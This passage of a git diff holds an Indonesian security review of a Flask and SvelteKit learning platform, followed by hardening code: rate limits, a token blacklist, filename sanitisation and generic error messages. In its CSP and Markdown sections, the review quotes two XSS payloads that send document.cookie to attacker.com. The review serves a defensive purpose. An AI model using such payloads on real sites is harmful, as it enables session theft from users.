- **No Revocation Mechanism**: Jika token bocor (misal: siswa screenshot token), tidak ada cara untuk invalidasi kecuali restart server atau manual edit CSV.
|
||||
- **Insider Threat**: Guru yang sudah tidak aktif masih bisa akses jika tokennya tidak dihapus dari CSV.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Token Blacklist**: Implementasikan in-memory blacklist untuk token yang sudah logout.
|
||||
- [ ] **Token Versioning**: Tambahkan timestamp/version di token, invalidate jika mismatch dengan database.
|
||||
- [ ] **Force Logout API**: Endpoint untuk guru force logout semua session siswa (useful saat ujian).
|
||||
|
||||
---
|
||||
|
||||
### 🟠 7. HTTP Security Headers (MEDIUM-HIGH RISK)
|
||||
|
||||
#### 7.1 Tidak Ada Content Security Policy (CSP)
|
||||
**Lokasi**: Flask response tidak meng-set CSP header
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **XSS (Cross-Site Scripting)**: Attacker dapat inject JavaScript malicious melalui:
|
||||
- Markdown lesson content: `<script>fetch('https://attacker.com/?c='+document.cookie)</script>`
|
||||
- Data dari API yang dirender tanpa sanitasi
|
||||
- Third-party CDN compromise (supply chain attack)
|
||||
- **Data Exfiltration**: Script dapat mencuri:
|
||||
- Cookie session siswa
|
||||
- Progress data dan lesson content
|
||||
- Token authentication kirim ke attacker server
|
||||
- **Clickjacking**: Halaman dapat di-embed di iframe transparent untuk trick user klik tombol palsu.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **CSP Header**: Implementasikan Flask-Talisman dengan policy:
|
||||
```
|
||||
default-src 'self';
|
||||
script-src 'self' 'unsafe-inline' (untuk SvelteKit);
|
||||
style-src 'self' 'unsafe-inline';
|
||||
img-src 'self' data: blob:;
|
||||
frame-src 'self' (untuk iframe Velxio/CircuitJS);
|
||||
connect-src 'self';
|
||||
```
|
||||
- [ ] **Nonce-based CSP**: Untuk SvelteKit inline scripts, gunakan nonce generator.
|
||||
|
||||
---
|
||||
|
||||
#### 7.2 Tidak Ada X-Frame-Options
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Clickjacking Attack**: LMS dapat di-embed di iframe transparent di malicious site. Attacker overlay tombol palsu di atas tombol real.
|
||||
- **UI Redressing**: Contoh: Attacker membuat halaman "Free Gift" dengan tombol "Claim" yang sebenarnya adalah tombol "Delete Account" dari LMS yang di-embed.
|
||||
- **Credential Theft**: Fake login form di-overlay di atas real login form.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **X-Frame-Options**: Set header `X-Frame-Options: SAMEORIGIN` untuk melindungi clickjacking.
|
||||
- [ ] **Frame Ancestors CSP**: Alternatif modern dengan CSP `frame-ancestors 'self';`.
|
||||
|
||||
---
|
||||
|
||||
#### 7.3 Tidak Ada X-Content-Type-Options & HSTS
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **MIME-Type Confusion**: Browser execute file yang seharusnya non-executable (misal: upload lesson image yang ternyata JavaScript).
|
||||
- **SSL Strip Attack**: Attacker downgrade HTTPS ke HTTP di jaringan publik, intercept semua traffic.
|
||||
- **Man-in-the-Middle**: Semua komunikasi dapat dimodifikasi attacker tanpa detection.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **X-Content-Type-Options**: Set header `nosniff` untuk mencegah MIME sniffing.
|
||||
- [ ] **HSTS**: Set `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload` jika HTTPS aktif.
|
||||
- [ ] **Referrer-Policy**: Set `strict-origin-when-cross-origin` untuk mengurangi info leak.
|
||||
|
||||
---
|
||||
|
||||
### 🟠 8. Logging & Monitoring Security (MEDIUM RISK)
|
||||
|
||||
#### 8.1 Token Exposure in Logs
|
||||
**Lokasi**: `routes/progress.py:30`, `routes/compile.py`
|
||||
```python
|
||||
logging.info(f"Received track-progress request: token={token}, ...")
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Credential Leakage**: Log file biasanya readable oleh sistem admin atau backup processes. Jika log di-exfiltrate, semua token siswa terekspos.
|
||||
- **GDPR/Compliance Issue**: Token dapat dianggap Personally Identifiable Information (PII). Log retention policy mungkin violate data protection regulations.
|
||||
- **Forensics Contamination**: Attacker bisa inject fake log entries untuk cover tracks atau frame user lain.
|
||||
- **Audit Trail Pollution**: Sulit differentiate antara legitimate use vs stolen token usage.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Token Redaction**: Implementasikan logging filter yang otomatis redact token pattern:
|
||||
```python
|
||||
# Contoh: token=dummy_token_12345 → token=***REDACTED***
|
||||
```
|
||||
- [ ] **Structured Logging**: Gunakan JSON logging dengan field terpisah, jangan log sensitive data di message.
|
||||
- [ ] **Log Sanitization**: Review semua log statements di codebase, hapus/replace token, password, atau PII lainnya.
|
||||
|
||||
---
|
||||
|
||||
#### 8.2 Tidak Ada Audit Logging untuk Actions Sensitif
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **No Accountability**: Tidak ada track record siapa yang mengubah progress siswa, mengakses report, atau compile code.
|
||||
- **Forensics Difficulty**: Jika terjadi data breach, sulit trace kapan dan bagaimana terjadi.
|
||||
- **Insider Threat Blindness**: Tidak bisa deteksi suspicious activity seperti:
|
||||
- Guru melihat progress siswa dari kelas lain
|
||||
- Compile activity di jam aneh (3 AM)
|
||||
- Multiple failed login dari IP yang sama
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Audit Log Table**: Buat tabel/file terpisah untuk log actions sensitif:
|
||||
- Login/logout events
|
||||
- Progress updates
|
||||
- Report exports
|
||||
- Failed authentication attempts
|
||||
- [ ] **Log Rotation**: Implementasikan log rotation dan retention policy (misal: 90 hari).
|
||||
- [ ] **Alerting**: Basic alerting untuk events aneh (contoh: >100 failed logins per jam).
|
||||
|
||||
---
|
||||
|
||||
### 🟠 9. Input/Output Sanitization (MEDIUM RISK)
|
||||
|
||||
#### 9.1 Potential XSS dari Markdown Rendering
|
||||
**Lokasi**: `services/lesson_service.py` - Markdown tidak di-sanitize
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Stored XSS**: Guru yang compromised (atau attacker yang dapat akses edit content) dapat inject:
|
||||
```html
|
||||
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
|
||||
```
|
||||
- **Persistent Attack**: Script akan dijalankan setiap kali siswa membuka lesson tersebut.
|
||||
- **Session Hijacking**: JavaScript dapat:
|
||||
- Mencuri cookie session
|
||||
- Mengirim token ke attacker server
|
||||
- Mengakses localStorage/sessionStorage
|
||||
- Melakukan actions atas nama siswa (CSRF via XSS)
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Markdown Sanitization**: Gunakan library seperti `bleach` atau `html-sanitizer` untuk:
|
||||
- Strip/escape `<script>` tags
|
||||
- Remove event handlers (`onerror`, `onload`, etc.)
|
||||
- Whitelist allowed HTML tags dan attributes
|
||||
- [ ] **Content Security Policy**: CSP adalah defense-in-depth untuk XSS.
|
||||
|
||||
---
|
||||
|
||||
#### 9.2 Error Message Information Disclosure
|
||||
**Lokasi**: Multiple routes mengembalikan raw exception
|
||||
```python
|
||||
return jsonify({'success': False, 'message': f'Error processing login: {str(e)}'})
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Information Leak**: Attacker dapat mendapatkan:
|
||||
- Internal file paths (`/app/routes/auth.py`)
|
||||
- Database schema dari SQL error messages
|
||||
- Library versions dari stack traces
|
||||
- System architecture details
|
||||
- **Attack Vector Discovery**: Error messages membantu attacker debug dan refine attack mereka.
|
||||
- **System Fingerprinting**: Attacker dapat identifikasi tech stack untuk exploit spesifik.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Generic Error Messages**: Return generic message ke client, log detail ke server:
|
||||
```python
|
||||
# Client: {"success": false, "message": "An error occurred"}
|
||||
# Server Log: Full traceback dengan request ID
|
||||
```
|
||||
- [ ] **Error Codes**: Gunakan error codes untuk debugging tanpa expose sensitive info.
|
||||
|
||||
---
|
||||
|
||||
### 🟠 10. Network Security (MEDIUM RISK)
|
||||
|
||||
#### 10.1 Internal Communication Tidak Di-encrypt
|
||||
**Lokasi**: `routes/compile.py:46` - HTTP ke compiler-worker
|
||||
```python
|
||||
response = requests.post(COMPILER_WORKER_URL, ...) # HTTP, bukan HTTPS
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Internal Traffic Interception**: Jika attacker compromise satu container, bisa sniff traffic internal.
|
||||
- **Code Injection**: Attacker dapat man-in-the-middle request ke compiler-worker dan inject malicious code.
|
||||
- **Data Leakage**: Token siswa dan source code lewat plaintext dalam internal network.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **mTLS (Mutual TLS)**: Implementasikan certificate-based authentication antar container.
|
||||
- [ ] **Network Isolation**: Gunakan internal network yang terpisah untuk service-to-service communication.
|
||||
- [ ] **Service Mesh**: Pertimbangkan Istio/Linkerd untuk automatic mTLS (future enhancement).
|
||||
|
||||
---
|
||||
|
||||
#### 10.2 Tidak Ada Network Policies Antar Container
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Lateral Movement**: Jika Velxio container compromised, attacker bisa langsung akses Flask backend, database, dan service lain.
|
||||
- **Service Enumeration**: Semua service bisa discover dan communicate satu sama lain tanpa restriction.
|
||||
- **Privilege Escalation**: Attacker dari low-privilege service bisa akses high-privilege service.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Podman/Docker Network Policies**: Definisikan explicit allowed connections:
|
||||
- Frontend → Backend: ✅
|
||||
- Backend → Compiler Worker: ✅
|
||||
- Compiler Worker → Internet: ❌ (no outbound)
|
||||
- Velxio → Backend: ✅ (tapi limited)
|
||||
- [ ] **Firewall Rules**: Implementasikan iptables/nftables rules di container level.
|
||||
|
||||
---
|
||||
|
||||
### 🟡 11. Additional Security Hardening (LOW-MEDIUM RISK)
|
||||
|
||||
#### 11.1 Predictable Token Generation
|
||||
**Lokasi**: `generate_tokens.py` (jika sequential)
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Token Enumeration**: Jika token format predictable (e.g., `token_001`, `token_002`), attacker bisa generate semua token.
|
||||
- **Mass Account Takeover**: Jika dapat satu token, bisa tebak token lainnya.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Cryptographically Secure Random**: Gunakan `secrets.token_urlsafe(32)` untuk generate token.
|
||||
- [ ] **Token Entropy**: Minimal 128-bit entropy untuk mencegah brute force.
|
||||
|
||||
---
|
||||
|
||||
#### 11.2 Secrets Management
|
||||
**Lokasi**: `podman-compose.yml:54` - Hardcoded SECRET_KEY
|
||||
```yaml
|
||||
- SECRET_KEY=embed-only-no-auth-needed
|
||||
```
|
||||
|
||||
**Dampak Jika Tidak Ditangani:**
|
||||
- **Session Forgery**: Attacker bisa generate valid session tokens untuk Velxio.
|
||||
- **API Bypass**: Jika Velxio punya internal API, attacker bisa bypass autentikasi.
|
||||
- **No Rotation**: Secret key tidak pernah berubah, jika leak maka permanent compromise.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [ ] **Environment Variable**: Pindahkan SECRET_KEY ke `.env` file yang tidak di-commit.
|
||||
- [ ] **Secret Rotation**: Implementasikan mechanism untuk periodic secret rotation.
|
||||
- [ ] **Vault Integration**: Pertimbangkan HashiCorp Vault atau AWS Secrets Manager untuk production.
|
||||
|
||||
---
|
||||
|
||||
### 🔴 12. Secure Rate Limit for Velxio Compilation (CRITICAL SECURITY)
|
||||
|
||||
**Penjelasan**: Saat ini, kompilasi Arduino/Velxio berjalan secara langsung antara iframe frontend ke backend Velxio tanpa melewati filter autentikasi Elemes. Pembatasan di sisi frontend (SvelteKit) mudah di-bypass melalui "Inspect Element" atau request API langsung. Hal ini memungkinkan pengguna anonim membebani server dengan request kompilasi tanpa batas.
|
||||
|
||||
**Task Perbaikan**:
|
||||
- [x] **Flask Backend Proxy**: Buat route `POST /api/velxio-compile` di Flask yang berfungsi sebagai proxy ke backend Velxio (`http://velxio:80/api/compile/`).
|
||||
- [x] **Backend Enforcement**: Terapkan `@limiter.limit("1 per 2 minutes")` dan antrean anonim (20 slot) pada route proxy tersebut. Pastikan token divalidasi via `student_token` cookie agar pengguna login tidak terkena limit.
|
||||
- [x] **Redirect Traffic**: Ubah konfigurasi Tailscale (`sinau-c-tail.json`) dan Vite Proxy agar request `/velxio/api/compile` diarahkan ke endpoint Flask yang baru.
|
||||
|
||||
---
|
||||
|
||||
## 📋 Prioritas Implementasi (Rekomendasi)
|
||||
|
||||
### Tier 1: Quick Wins (High Impact, Low Effort) 🚀
|
||||
1. **Token Redaction in Logs** - Hanya modify logging statements
|
||||
2. **Add Security Headers** - Gunakan Flask-Talisman (one-liner)
|
||||
3. **Conditional Secure Cookie** - Environment variable check sederhana
|
||||
|
||||
### Tier 2: Important (High Impact, Medium Effort) ⭐
|
||||
4. **Rate Limiting Login** - Flask-Limiter integration
|
||||
5. **Markdown Sanitization** - Bleach/html-sanitizer setup
|
||||
6. **Generic Error Messages** - Exception handling wrapper
|
||||
|
||||
### Tier 3: Strategic (Long-term Security) 🔒
|
||||
7. **Session Invalidation/Blacklist** - Redis/memory store
|
||||
8. **Audit Logging** - Separate logging infrastructure
|
||||
9. **Internal mTLS** - Certificate management
|
||||
10. **Network Policies** - Container orchestration config
|
||||
11. **Secrets Management** - Vault/cloud provider integration
|
||||
|
||||
---
|
||||
|
||||
## 🎓 Learning Resources (untuk Referensi)
|
||||
|
||||
- **OWASP Top 10**: https://owasp.org/www-project-top-ten/
|
||||
- **Flask Security**: https://flask.palletsprojects.com/en/2.3.x/security/
|
||||
- **CSP Guide**: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
|
||||
- **Cookie Security**: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security
|
||||
|
||||
---
|
||||
|
||||
**Update Terakhir**: 2026-04-21
|
||||
**Status**: Second Opinion Security Review - Ready for Curation
|
||||
|
|
|
|||
|
|
@ -3,3 +3,5 @@ markdown==3.5
|
|||
gunicorn==21.2.0
|
||||
flask-cors==4.0.0
|
||||
python-dotenv==1.0.0
|
||||
requests==2.31.0
|
||||
flask-limiter==3.5.0
|
||||
|
|
@ -2,14 +2,22 @@
|
|||
Authentication routes: login, logout, validate-token.
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from flask import Blueprint, request, jsonify
|
||||
|
||||
from services.token_service import validate_token
|
||||
from extensions import limiter
|
||||
from services.token_service import validate_token, blacklist_token
|
||||
|
||||
auth_bp = Blueprint('auth', __name__)
|
||||
|
||||
# Security Configuration
|
||||
COOKIE_SECURE = os.environ.get('COOKIE_SECURE', 'false').lower() == 'true'
|
||||
|
||||
|
||||
|
||||
@auth_bp.route('/login', methods=['POST'])
|
||||
@limiter.limit("50 per minute")
|
||||
def login():
|
||||
"""Handle student login with token."""
|
||||
try:
|
||||
|
|
@ -17,6 +25,7 @@ def login():
|
|||
token = (data.get('token') or '').strip()
|
||||
|
||||
if not token:
|
||||
time.sleep(1.5) # Tarpitting for empty tokens
|
||||
return jsonify({'success': False, 'message': 'Token is required'})
|
||||
|
||||
student_info = validate_token(token)
|
||||
|
|
@ -29,25 +38,30 @@ def login():
|
|||
})
|
||||
response.set_cookie(
|
||||
'student_token', token,
|
||||
httponly=True, secure=False, samesite='Lax', max_age=86400,
|
||||
httponly=True, secure=COOKIE_SECURE, samesite='Lax', max_age=86400,
|
||||
)
|
||||
return response
|
||||
else:
|
||||
time.sleep(1.5) # Tarpitting for invalid tokens
|
||||
return jsonify({'success': False, 'message': 'Invalid token'})
|
||||
|
||||
except Exception as e:
|
||||
return jsonify({'success': False, 'message': f'Error processing login: {str(e)}'})
|
||||
return jsonify({'success': False, 'message': 'Error processing login'})
|
||||
|
||||
|
||||
@auth_bp.route('/logout', methods=['POST'])
|
||||
def logout():
|
||||
"""Handle student logout."""
|
||||
try:
|
||||
token = request.cookies.get('student_token')
|
||||
if token:
|
||||
blacklist_token(token)
|
||||
|
||||
response = jsonify({'success': True, 'message': 'Logout successful'})
|
||||
response.set_cookie('student_token', '', expires=0)
|
||||
return response
|
||||
except Exception as e:
|
||||
return jsonify({'success': False, 'message': f'Error processing logout: {str(e)}'})
|
||||
return jsonify({'success': False, 'message': 'Error processing logout'})
|
||||
|
||||
|
||||
@auth_bp.route('/validate-token', methods=['POST'])
|
||||
|
|
@ -74,4 +88,4 @@ def validate_token_route():
|
|||
return jsonify({'success': False, 'message': 'Invalid token'})
|
||||
|
||||
except Exception as e:
|
||||
return jsonify({'success': False, 'message': f'Error validating token: {str(e)}'})
|
||||
return jsonify({'success': False, 'message': 'Error validating token'})
|
||||
|
|
|
|||
|
|
@ -2,19 +2,91 @@
|
|||
Code compilation route.
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
import uuid
|
||||
import requests
|
||||
from flask import Blueprint, request, jsonify
|
||||
from flask_limiter import RateLimitExceeded
|
||||
|
||||
from compiler import compiler_factory
|
||||
from services.token_service import validate_token
|
||||
from extensions import limiter
|
||||
|
||||
compile_bp = Blueprint('compile', __name__)
|
||||
|
||||
COMPILER_WORKER_URL = os.environ.get('COMPILER_WORKER_URL', 'http://compiler-worker:8080/execute')
|
||||
VELXIO_COMPILER_URL = os.environ.get('VELXIO_COMPILER_URL', 'http://velxio:80/api/compile/')
|
||||
ANON_QUEUE_DIR = "/tmp/elemes_anon_queue"
|
||||
|
||||
# Ensure queue directory exists
|
||||
os.makedirs(ANON_QUEUE_DIR, exist_ok=True)
|
||||
|
||||
def is_logged_in():
|
||||
"""Check if the request has a valid student token (JSON, Form, or Cookie)."""
|
||||
token = None
|
||||
if request.is_json:
|
||||
try:
|
||||
token = request.get_json(force=True).get('token', '')
|
||||
except Exception:
|
||||
pass
|
||||
if not token:
|
||||
token = request.form.get('token', '')
|
||||
if not token:
|
||||
token = request.cookies.get('student_token', '')
|
||||
|
||||
token = str(token).strip()
|
||||
return bool(token and validate_token(token))
|
||||
|
||||
def acquire_anon_slot():
|
||||
"""Try to acquire a slot in the anonymous compilation queue."""
|
||||
try:
|
||||
# Cleanup stale files (> 60s)
|
||||
now = time.time()
|
||||
for f in os.listdir(ANON_QUEUE_DIR):
|
||||
fpath = os.path.join(ANON_QUEUE_DIR, f)
|
||||
try:
|
||||
if now - os.path.getmtime(fpath) > 60:
|
||||
os.remove(fpath)
|
||||
except (OSError, IOError):
|
||||
pass
|
||||
|
||||
# Check capacity
|
||||
if len(os.listdir(ANON_QUEUE_DIR)) >= 20:
|
||||
return None
|
||||
|
||||
slot_id = str(uuid.uuid4())
|
||||
fpath = os.path.join(ANON_QUEUE_DIR, slot_id)
|
||||
with open(fpath, 'w') as f:
|
||||
f.write(str(now))
|
||||
return fpath
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def release_anon_slot(fpath):
|
||||
"""Release an acquired anonymous slot."""
|
||||
if fpath and os.path.exists(fpath):
|
||||
try:
|
||||
os.remove(fpath)
|
||||
except (OSError, IOError):
|
||||
pass
|
||||
|
||||
@compile_bp.errorhandler(RateLimitExceeded)
|
||||
def handle_rate_limit_exceeded(e):
|
||||
"""Handle rate limit errors with a custom message."""
|
||||
return jsonify({
|
||||
'success': False,
|
||||
'output': '',
|
||||
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
|
||||
}), 429
|
||||
|
||||
@compile_bp.route('/compile', methods=['POST'])
|
||||
@limiter.limit("1 per 2 minutes", exempt_when=is_logged_in)
|
||||
def compile_code():
|
||||
"""Compile and run code submitted by the user."""
|
||||
"""Forward code compilation to the worker service."""
|
||||
try:
|
||||
code = None
|
||||
language = None
|
||||
token = None
|
||||
|
||||
if request.content_type and 'application/json' in request.content_type:
|
||||
try:
|
||||
|
|
@ -22,19 +94,87 @@ def compile_code():
|
|||
if json_data:
|
||||
code = json_data.get('code', '')
|
||||
language = json_data.get('language', '')
|
||||
token = json_data.get('token', '').strip()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not code:
|
||||
code = request.form.get('code', '')
|
||||
language = request.form.get('language', '')
|
||||
token = request.form.get('token', '').strip()
|
||||
|
||||
# Authorization logic:
|
||||
# 1. If token is provided, it MUST be valid.
|
||||
# 2. If no token, it is anonymous access (subject to rate limits & queue).
|
||||
user_is_logged_in = False
|
||||
if token:
|
||||
if not validate_token(token):
|
||||
return jsonify({'success': False, 'output': '', 'error': 'Unauthorized: Invalid token'})
|
||||
user_is_logged_in = True
|
||||
|
||||
# Queue logic for anonymous users
|
||||
slot_fpath = None
|
||||
if not user_is_logged_in:
|
||||
slot_fpath = acquire_anon_slot()
|
||||
if not slot_fpath:
|
||||
return jsonify({
|
||||
'success': False,
|
||||
'output': '',
|
||||
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
|
||||
})
|
||||
|
||||
try:
|
||||
if not code:
|
||||
return jsonify({'success': False, 'output': '', 'error': 'No code provided'})
|
||||
|
||||
compiler = compiler_factory.get_compiler(language)
|
||||
result = compiler.compile_and_run(code)
|
||||
return jsonify(result)
|
||||
# Forward to worker
|
||||
response = requests.post(
|
||||
COMPILER_WORKER_URL,
|
||||
json={'code': code, 'language': language},
|
||||
timeout=15
|
||||
)
|
||||
return jsonify(response.json())
|
||||
finally:
|
||||
if slot_fpath:
|
||||
release_anon_slot(slot_fpath)
|
||||
|
||||
except requests.exceptions.RequestException as re:
|
||||
return jsonify({'success': False, 'output': '', 'error': f'Compiler service unavailable: {re}'})
|
||||
except Exception as e:
|
||||
return jsonify({'success': False, 'output': '', 'error': f'An error occurred: {e}'})
|
||||
|
||||
@compile_bp.route('/velxio-compile', methods=['POST'])
|
||||
@compile_bp.route('/velxio-compile/', methods=['POST'])
|
||||
@limiter.limit("1 per 2 minutes", exempt_when=is_logged_in)
|
||||
def velxio_compile():
|
||||
"""Proxy Velxio compilation requests to the Velxio service."""
|
||||
slot_fpath = None
|
||||
try:
|
||||
# Check authorization from cookie if not in JSON
|
||||
token = request.cookies.get('student_token')
|
||||
user_is_logged_in = bool(token and validate_token(token))
|
||||
|
||||
if not user_is_logged_in:
|
||||
slot_fpath = acquire_anon_slot()
|
||||
if not slot_fpath:
|
||||
return jsonify({
|
||||
'success': False,
|
||||
'output': '',
|
||||
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
|
||||
})
|
||||
|
||||
# Forward the request to Velxio
|
||||
response = requests.post(
|
||||
VELXIO_COMPILER_URL,
|
||||
json=request.get_json(silent=True) or {},
|
||||
timeout=30
|
||||
)
|
||||
return jsonify(response.json())
|
||||
|
||||
except requests.exceptions.RequestException as re:
|
||||
return jsonify({'success': False, 'output': '', 'error': f'Velxio service unavailable: {re}'})
|
||||
except Exception as e:
|
||||
return jsonify({'success': False, 'output': '', 'error': f'An error occurred: {e}'})
|
||||
finally:
|
||||
if slot_fpath:
|
||||
release_anon_slot(slot_fpath)
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@ Lesson JSON API routes consumed by the SvelteKit frontend.
|
|||
import os
|
||||
|
||||
from flask import Blueprint, request, jsonify, send_from_directory
|
||||
from werkzeug.utils import secure_filename
|
||||
|
||||
from compiler import compiler_factory
|
||||
from config import CONTENT_DIR
|
||||
|
|
@ -39,7 +40,8 @@ def api_lessons():
|
|||
@lessons_bp.route('/lesson/<filename>.json')
|
||||
def api_lesson(filename):
|
||||
"""Return single lesson data as JSON."""
|
||||
full_filename = filename if filename.endswith('.md') else f'{filename}.md'
|
||||
safe_filename = secure_filename(filename)
|
||||
full_filename = safe_filename if safe_filename.endswith('.md') else f'{safe_filename}.md'
|
||||
file_path = os.path.join(CONTENT_DIR, full_filename)
|
||||
if not os.path.exists(file_path):
|
||||
return jsonify({'error': 'Lesson not found'}), 404
|
||||
|
|
@ -148,7 +150,8 @@ def api_lesson(filename):
|
|||
@lessons_bp.route('/get-key-text/<filename>')
|
||||
def get_key_text(filename):
|
||||
"""Get the key text for a specific lesson."""
|
||||
file_path = os.path.join(CONTENT_DIR, filename)
|
||||
safe_filename = secure_filename(filename)
|
||||
file_path = os.path.join(CONTENT_DIR, safe_filename)
|
||||
if not os.path.exists(file_path):
|
||||
return jsonify({'success': False, 'error': 'Lesson not found'}), 404
|
||||
|
||||
|
|
|
|||
|
|
@ -52,6 +52,10 @@ def track_progress():
|
|||
@progress_bp.route('/progress-report.json')
|
||||
def api_progress_report():
|
||||
"""Return progress report data as JSON."""
|
||||
token = request.args.get('token', '').strip()
|
||||
if not token or not validate_token(token):
|
||||
return jsonify({'success': False, 'message': 'Unauthorized'}), 401
|
||||
|
||||
all_students_progress, ordered_lessons = get_all_students_progress(
|
||||
get_lessons_with_learning_objectives,
|
||||
)
|
||||
|
|
@ -65,6 +69,10 @@ def api_progress_report():
|
|||
@progress_bp.route('/progress-report/export-csv')
|
||||
def export_progress_csv():
|
||||
"""Export the progress report as CSV."""
|
||||
token = request.args.get('token', '').strip()
|
||||
if not token or not validate_token(token):
|
||||
return jsonify({'success': False, 'message': 'Unauthorized'}), 401
|
||||
|
||||
all_students_progress, _ordered_lessons = get_all_students_progress(
|
||||
get_lessons_with_learning_objectives,
|
||||
)
|
||||
|
|
|
|||
|
|
@ -8,6 +8,15 @@ import os
|
|||
|
||||
from config import TOKENS_FILE
|
||||
|
||||
# In-memory blacklist for tokens that have logged out
|
||||
LOGOUT_BLACKLIST = set()
|
||||
|
||||
|
||||
def blacklist_token(token):
|
||||
"""Add a token to the logout blacklist."""
|
||||
if token:
|
||||
LOGOUT_BLACKLIST.add(token)
|
||||
|
||||
|
||||
def get_teacher_token():
|
||||
"""Return the teacher token (first data row in CSV)."""
|
||||
|
|
@ -29,6 +38,9 @@ def is_teacher_token(token):
|
|||
|
||||
def validate_token(token):
|
||||
"""Validate if a token exists in the CSV file and return student info."""
|
||||
if not token or token in LOGOUT_BLACKLIST:
|
||||
return None
|
||||
|
||||
if not os.path.exists(TOKENS_FILE):
|
||||
return None
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue